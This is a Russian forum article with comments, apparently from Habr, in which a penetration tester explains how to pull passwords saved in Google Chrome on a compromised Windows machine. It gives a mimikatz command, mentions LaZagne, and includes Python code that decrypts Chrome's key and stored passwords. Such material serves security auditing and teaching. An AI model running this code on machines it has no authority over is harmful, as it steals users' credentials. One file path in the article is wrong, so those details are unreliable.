Приветствую, форумчане!

Данная тема будет интересна тем, кто сохраняет учетные записи в браузере. Сначала ответим на вопрос, который возникнул в предыдущей статье, а именно: Ради чего этот пароль искать OSPF, что бы что? И что дальше то с этим делать?

Напоминаю, что пароли это один из важнейших аспектов ИБ и часто используются для защиты информации от несанкционированного доступа. В OSPF парольная аутентификация — это мера безопасности, которую можно использовать для защиты маршрутной информации OSPF от изменения или подделки.

То есть имея пароль, злоумышленник может легко подключиться к домену маршрутизации и вносить изменения. При этом, одной из основных причин использования аутентификации OSPF является предотвращение формирования окружения OSPF неавторизованными устройствами, что, в свою очередь, запрещает доступ к сети и манипулирование ей.

При защитите домена маршрутизации с помощью аутентификации, нужно убедиться, что используемые вами пароли достаточно надежны, а не такие стандартные пароли как в ctf ????.

Подключение к  домену OSPF
Подключение к домену OSPF

Итак — начнем!

Многие из нас имеют такую привычку сохранять в браузере свои учетные записи для того, чтобы каждый раз их не вводить при аутентификации. Идея, конечно, хорошая, но иногда эта привычка идет против внутренней политики безопасности определенных компаний и имеет неприятные последствия. Однако, несмотря на ограничения, сотрудники продолжают это делать, ведь никто не проверяет их рабочие ПК до тех пор, пока в компании не провидится аудит безопасности. Статья, которую читаете основана на реальном кейсе.

Расскажу быстро историю. Друг меня пригласил принять участие в анализе защищенности, где в процессе работы нам удалось закрепиться в системе. Далее пришла такая идея - проверить какие внутренние сервисы есть в компании; и мы решили прошерстить браузеры сотрудников (в договоре был пунктик, который нужно было выполнить).

В качестве браузера для данной статьи используется «google chrome», предполагаем, что мы прошли/или находимся на этапе «Post-exploitation» (т.е. оставили имплант и наша целевая система под контролем), а теперь посмотрим на файлы, которым стоит уделить особое внимание в «google chrome»:

  • Local State : Json файл, который содержит криптографический алгоритм и ключ шифрования (["encrypted_key"]) для ОС. (см. Рис).

Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Login Data\Local State"
ключ шифрования
ключ шифрования

Этот ключ используется для шифрования/расшифрования паролей. Важно отметить, что хром использует Симметричный алгоритм шифрование AES. Основное, что нужно знать в AES - это длина ключей, количество раундов при шифровании/расшифровании и режимы.

  • Login data : в этом файле бинарные данные и SQLite скрипт для создания таблиц БД. Зашифрованный пароль хранится в базе данных SQLite. Нас больше интересует таблица «logins»

Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Файл  Login data
Файл Login data

Для расшифрования файла login data есть разные инструменты:

  • mimikatz – удобный инструмент для пентеста в AD.

    При наличие masterКey (sekurlsa::dpapi) можно просто:

    dpapi::chrome /in:"c:\<путь до Login data>Login Data" /unprotect /masterkey: <hash>

  • Lazagne - хороший инструмент для восстановления паролей (https://github.com/AlessandroZ/LaZagne)

  • Script на «python» и на «Golang» (Github code source)

    Script на «Golang» - потому, что можно скомпилировать под разные платформы.

Эти скрипты имеют три основные функции:

1– Получение приватного ключа (secretKey из Local State)

CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
with open( CHROME_PATH+"\Local State", "r", encoding='utf-8') as f:
  localState = f.read()          
localState = json.loads(localState)         
secretKey = base64.b64decode(localState["os_crypt"]["encrypted_key"])
#2- Удаляем суффикс DPAPI   
secretKey = secretKey[5:]          
secretKey = win32crypt.CryptUnprotectData(secretKey, None, None, None, 0)[1]

2 – Получение данных из ДБ SQLite (Tаблица «logins»)

chrome_path_loginDB = CHROME_PATH + " \Login Data"
shutil.copy2(chrome_path_loginDB, "Logindata.db")
#Подключение к базе данных sqlite
conn =  sqlite3.connect("Logindata.db")
cursor = conn.cursor()
#Select data in table logins
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for _,login in enumerate(cursor.fetchall()):
    url = login[0]
    username = login[1]
    cipherText= login[2]

3 – Расшифровка cipherText

Чтобы повысить безопасность, добавляется к паролю вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленнику (это то же самое, когда добавляем соль чтобы модифицировать входа хэш-функции).

cipherText = вектор инициализации (случайная строка данных) + зашифрованый пароль.

cipherText = b'v10\xf2M\x17S\x17WX\x8a^\x8fQ\x11\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?\xc3\xbf\xcb\x17\xd1#J\xdcV?_o\xf2\x05B\x0c'

initialisation_value:  b'\xf2M\x17S\x17WX\x8a^\x8fQ\x11'
encrypted_password:  b'\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?'

вектор инициализации = initialisation_value = cipherText[3:15]     
зашифрованый пароль = encrypted_password = cipherText[15:-16]

cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_value)     
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()
Данные из браузера «google chrome»
Данные из браузера «google chrome»

Вывод

Эти данные в браузере помогают злоумышленнику быстро ознакомиться с внутренними сервисами и двигаться дальше.

«google chrome» это только браузер, а не менеджер паролей. Для хранения лучше всего подойдут уже существующие решения - keepass 3.x, passbolt и др.

Будут кейсы пишите на почту (jjjmaxime@mail.ru - Я ИП поэтому все по белому ???? )

Спасибо за внимание !
Мерси Мон Ами ????

Комментарии (8)


  1. ivankudryavtsev
    07.08.2023 08:28
    +2

    Я одного не понял... При чем здесь OSPF? Маршрутизация OSPF используется в защищенном бэкбоне. Там пароль только для защиты от подмены оборудования, чтобы быстро все сломалось, по сути. Если вы не можете защитить бэкбон сети от подключения стороннего оборудования, никакой вам пароль в браузере, не в браузере не поможет, потому что тогда поди и по TFTP можно загрузить нужный конфиг.

    Спутанный поток сознания, видимо вначале была какая-то тактика, но Вы ее не придерживались... Делайте как в видео:


    1. prizrakjm Автор
      07.08.2023 08:28

      Разные темы.
      Была первая статья по OSPF и на вопросы ответил.
      https://habr.com/ru/articles/742848/ (OSPF)



  1. vilgeforce
    07.08.2023 08:28

    " асимметричный алгоритм шифрование AES " - с каких это пор AES стал асимметричным алгоритмом?!


    1. prizrakjm Автор
      07.08.2023 08:28

      Симметричный алгоритм шифрование AES

      симметричный алгоритм блочного шифрования (размер блока 128 бит, ключ 128/192/256 бит)


      1. vilgeforce
        07.08.2023 08:28
        +1

        Спасибо-спасибо, я-то все это и так знаю


        1. prizrakjm Автор
          07.08.2023 08:28

          Пожалуйста ✌???? ????


  1. Ximo
    07.08.2023 08:28

    ???????? Полезная информация ℹ